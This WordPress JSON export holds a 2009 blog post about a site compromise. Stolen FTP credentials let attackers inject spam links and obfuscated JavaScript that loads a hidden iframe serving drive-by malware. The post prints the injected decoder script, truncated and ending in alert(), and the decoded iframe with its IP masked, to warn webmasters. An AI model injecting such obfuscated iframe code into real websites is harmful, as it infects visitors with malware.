{"id":826,"date":"2009-02-11T18:00:19","date_gmt":"2009-02-11T17:00:19","guid":{"rendered":"http:\/\/www.nivas.hr\/blog\/?p=826"},"modified":"2009-03-13T22:21:36","modified_gmt":"2009-03-13T21:21:36","slug":"all-your-iframes-point-to-us","status":"publish","type":"post","link":"https:\/\/www.nivas.hr\/blog\/2009\/02\/11\/all-your-iframes-point-to-us\/","title":{"rendered":"All Your iFRAMEs Point to Us"},"content":{"rendered":"<p><img loading=\"lazy\" src=\"http:\/\/www.nivas.hr\/blog\/wp-content\/uploads\/2009\/02\/aybabtu.png\" alt=\"aybabtu\" title=\"aybabtu\" width=\"240\" height=\"160\" align=\"right\" border=\"1\" hspace=\"3\" vspace=\"3\" \/>Defacing a website is least form of site hacking these days (please, don&#8217;t deface us because of this statement :) ). Defacing usually means changing the hacked website&#8217;s xhtml files on server or in transport between the server and the client. Completely defaced website attracts attention for a limited number of time, and the whole deal is quickly forgotten. However, defacing a site by silently injecting a 1&#215;1 iframes, javascript or massive amount of links\/subpages can be more lucrative for spammers (link building, visitor stat fraud, malware spread etc.), more horrifying to your business (you will loose visitors while you are blacklisted) and worst of it all &#8211; it can&#8217;t be that easily detected.<br \/>\n<!--more--><br \/>\nI recently witnessed pretty horrible deface. A pal of mine got infected with trojan which sent out his password from FTP programs to automated system, which automatically ftpd to his sites, downloaded all files, changed .html files by injecting tons of spam\/porn\/viagra links and hex javascript code for opening up iframes to malicious sites containing more trojans, and then reuploaded everything up on my pals innocent website. Every visitor to once innocent website was attacked by drive-by downloads of trojans.<br \/>\nThis was appended to all html files:<br \/>\n[ftf w=&#8221;450&#8243; h=&#8221;100&#8243;]<script> var temp=\"\",i,c=0,out=\"\"; var if_uniq_var=\"tf100\"; var start_time=\"29 Jan 2009 23:39:27\"; var \nstr=\"60!105!102!11  ...  !97!109!101!62!\"; l=str.length; \nwhile(c<=str.length-1) {     while(str.charAt(c)!='!')temp=temp+str.charAt(c++);     c++;     out=out+String.fromCharCode(temp);     \ntemp=\"\"; } alert(out); <\/script>[\/ftf]<br \/>\nAll that javascript actually outputs only this (don't click on the link):<br \/>\n[ftf w=\"450\" h=\"60\"]<iframe src=\"http:\/\/xx.xxx.xx.xxx\/cgi-bin\/index.cgi?tf17\" frameborder=\"0\" style=\"display:none\"><\/iframe>[\/ftf]<\/p>\n<p>Drive-by downloads are caused by URLs that attempt to exploit their visitors and cause malware to be installed and run automatically. Google's analysis of billions of URLs over a 10 month period shows that over 3 million malicious URLs, initiate drive-by downloads. Approximately 1.3% of all incoming search queries to Google\u2019s search engine returned at least one URL labeled as malicious in the results page (checkout <a href=\"http:\/\/research.google.com\/archive\/provos-2008a.pdf\">Google Technical Report<\/a>).<\/p>\n<p>Matt Cutts (Google) in his <a href=\"http:\/\/googlewebmastercentral.blogspot.com\/2009\/01\/preventing-virtual-blight-my.html\">Preventing Virtual Blight<\/a> presentation suggest doing some pretty basic stuff which almost anybody can apply, and I must admit creating Google alert for \"Viagra\" is pretty unique.<\/p>\n<p><iframe src='http:\/\/docs.google.com\/EmbedSlideshow?docid=ddvhbrqf_36dsw8s7fm' frameborder='0' width='410' height='342'><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Defacing a website is least form of site hacking these days (please, don&#8217;t deface us because of this statement :) ). Defacing usually means changing the hacked website&#8217;s xhtml files on server or in transport between the server and the client. Completely defaced website attracts attention for a limited number of time, and the whole&#8230;<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,14],"tags":[],"_links":{"self":[{"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/posts\/826"}],"collection":[{"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/comments?post=826"}],"version-history":[{"count":37,"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/posts\/826\/revisions"}],"predecessor-version":[{"id":855,"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/posts\/826\/revisions\/855"}],"wp:attachment":[{"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/media?parent=826"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/categories?post=826"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nivas.hr\/blog\/wp-json\/wp\/v2\/tags?post=826"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}